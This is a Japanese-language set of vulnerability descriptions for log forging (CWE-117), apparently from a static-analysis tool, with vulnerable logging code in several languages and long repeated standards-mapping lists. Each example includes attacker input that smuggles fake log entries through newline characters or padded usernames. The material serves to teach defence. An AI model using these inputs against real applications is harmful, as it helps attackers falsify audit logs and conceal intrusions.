ユーザーが val として「twenty-one」という文字列を送信すると、以下のエントリが記録されます。


INFO: Failed to parse val = twenty-one


しかし、攻撃者が「twenty-one%0a%0aINFO:+User+logged+out%3dbadguy」という文字列を送信すると、以下のエントリが記録されます。


INFO: Failed to parse val=twenty-one

INFO: User logged out=badguy


明らかに、攻撃者はこれと同じメカニズムを使って任意のログ エントリを挿入できます。
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.javascript.log_forging
Abstract
この特定の関数は、未検証のユーザー入力をログに書き込みます。攻撃者はこの動作を利用して、ログエントリを偽造したり、悪意のあるコンテンツをログに注入できる可能性があります。
Explanation
次の場合に、Log Forging の脆弱性が発生します。

1. 信頼されていないソースからデータがアプリケーションに入り込んだ場合。

2. データはアプリケーションまたはシステムログファイルに書き込まれます。

アプリケーションは通常、後でレビュー、統計情報収集、デバッグを行う場合に備え、イベントやトランザクションの履歴をログファイルに保管しています。アプリケーションの性質により異なりますが、ログファイルは必要に応じて手動で見直すことも、重要なデータポイントや傾向を検索するツールで自動的に選別することもできます。

後で逐語的に記録されるアプリケーションに攻撃者がデータを与えることができる場合、ログファイルのチェックが妨害されたり、ログデータに基づく結論が誤っていたりすることがあります。ログエントリの区切り文字をデータに含めることにより、攻撃者が偽りの項目をログファイルに挿入するかもしれません。ログ ファイルが自動処理される場合、攻撃者はファイル形式を破損させたり、想定外の文字を挿入したりしてファイルを使用できなくすることができます。より巧妙な攻撃では、ログファイルの統計情報が歪曲されます。偽造などの方法でログファイルを不正にし、攻撃者の痕跡を覆い隠したり、悪意ある行為の実行に第三者を巻き込んだりすることができます [1]。最悪の場合、攻撃者がコードやその他のコマンドをログファイルに挿入し、ログ処理ユーティリティの脆弱性を利用する可能性もあります [2]。

例 1: CGI スクリプトからの次のコードは、ユーザーによって送信された文字列を受け取り、long 整数値に変換しようと試みます。整数として値を解析できない場合は、何が起きたかを示すエラーメッセージとともに値が記録されます。


long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
NSLog("Illegal value = %s",val);
...



ユーザーが val として「twenty-one」という文字列を送信すると、以下のエントリが記録されます。


INFO: Illegal value=twenty-one


しかし、攻撃者が「twenty-one\n\nINFO: User logged out=evil」という文字列を送信すると、以下のエントリが記録されます。


INFO: Illegal value=twenty-one

INFO: User logged out=evil


明らかに、攻撃者は同じ仕組みを利用して任意のログ エントリを挿入できます。このタイプのログ偽装攻撃が有効性を持つには、攻撃者はまず有効なログ エントリのフォーマットを識別する必要がありますが、多くの場合、これはターゲット アプリケーションにおけるシステム情報漏洩により可能になります。
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.objc.log_forging
Abstract
未検証のユーザー入力をログファイルに書き込むと、攻撃者がログエントリを偽造したり、悪意のあるコンテンツをログに注入できる可能性があります。
Explanation
次の場合に、Log Forging の脆弱性が発生します。

1. 信頼されていないソースからデータがアプリケーションに入り込んだ場合。

2. データはアプリケーションまたはシステムログファイルに書き込まれます。

アプリケーションは通常、後でレビュー、統計情報収集、デバッグを行う場合に備え、イベントやトランザクションの履歴をログファイルに保管しています。アプリケーションの内容により、ログファイルをレビューするタスクは必要に応じて手動で実行するか、重要なイベントやトレンド情報のログを自動的に選び出すツールを使って自動的に実行できます。

後で逐語的に記録されるアプリケーションに攻撃者がデータを供給できる場合、ログファイルの解釈が妨害されたり誤っていたりすることがあります。最も害のない場合でも、攻撃者はアプリケーションに適切な文字が含まれる入力を行い不正なエントリをログファイルに挿入することができます。ログ ファイルが自動処理される場合、攻撃者はファイル形式を破損させたり、想定外の文字を挿入したりしてファイルを使用できなくすることができます。より巧妙な攻撃では、ログファイルの統計情報が歪曲されます。偽造などの方法でログファイルを不正にし、攻撃者の痕跡を覆い隠したり、悪意ある行為の実行に第三者を巻き込んだりすることができます [1]。最悪の場合、攻撃者はコードやその他のコマンドをログファイルに挿入してログ処理ユーティリティの脆弱性を利用することができます [2]。

例:次の Web アプリケーションコードはリクエストオブジェクトから整数値を読み込もうとします。値が整数としてパースできない場合、入力はエラー内容を示すエラーメッセージと共に記録されます。


<?php
$name =$_GET['name'];
...
$logout =$_GET['logout'];

if(is_numeric($logout))
{
...
}
else
{
trigger_error("Attempt to log out: name: $name logout: $val");
}
?>


ユーザーが logout として「twenty-one」という文字列を送信すると、「admin」という名前のユーザーを作成でき、以下のエントリが記録されます。


PHP Notice: Attempt to log out: name: admin logout: twenty-one


しかし、攻撃者が「admin+logout:+1+++++++++++++++++++++++」というユーザー名を作成できる場合、以下のエントリが記録されます。


PHP Notice: Attempt to log out: name: admin logout: 1 logout: twenty-one
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.php.log_forging
Abstract
未検証のユーザー入力をログファイルに書き込むと、攻撃者がログエントリを偽造したり、悪意のあるコンテンツをログに注入できる可能性があります。
Explanation
次の場合に、Log Forging の脆弱性が発生します。

1. 信頼されていないソースからデータがアプリケーションに入り込んだ場合。

2. データはアプリケーションまたはシステムログファイルに書き込まれます。

アプリケーションは通常、後でレビュー、統計情報収集、デバッグを行う場合に備え、イベントやトランザクションの履歴をログファイルに保管しています。アプリケーションの内容により、ログファイルをレビューするタスクは必要に応じて手動で実行するか、重要なイベントやトレンド情報のログを自動的に選び出すツールを使って自動的に実行できます。

後で逐語的に記録されるアプリケーションに攻撃者がデータを供給できる場合、ログファイルの解釈が妨害されたり誤っていたりすることがあります。最も害のない場合でも、攻撃者はアプリケーションに適切な文字が含まれる入力を行い不正なエントリをログファイルに挿入することができます。ログ ファイルが自動処理される場合、攻撃者はファイル形式を破損させたり、想定外の文字を挿入したりしてファイルを使用できなくすることができます。より巧妙な攻撃では、ログファイルの統計情報が歪曲されます。偽造などの方法でログファイルを不正にし、攻撃者の痕跡を覆い隠したり、悪意ある行為の実行に第三者を巻き込んだりすることができます [1]。最悪の場合、攻撃者はコードやその他のコマンドをログファイルに挿入してログ処理ユーティリティの脆弱性を利用することができます [2]。

例:次の Web アプリケーションコードはリクエストオブジェクトから整数値を読み込もうとします。値が整数としてパースできない場合、入力はエラー内容を示すエラーメッセージと共に記録されます。


name = req.field('name')
...
logout = req.field('logout')

if (logout):
...
else:
logger.error("Attempt to log out: name: %s logout: %s" % (name,logout))


ユーザーが logout として「twenty-one」という文字列を送信すると、「admin」という名前のユーザーを作成でき、以下のエントリが記録されます。


Attempt to log out: name: admin logout: twenty-one


しかし、攻撃者が「admin+logout:+1+++++++++++++++++++++++」というユーザー名を作成できる場合、以下のエントリが記録されます。


Attempt to log out: name: admin logout: 1 logout: twenty-one
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
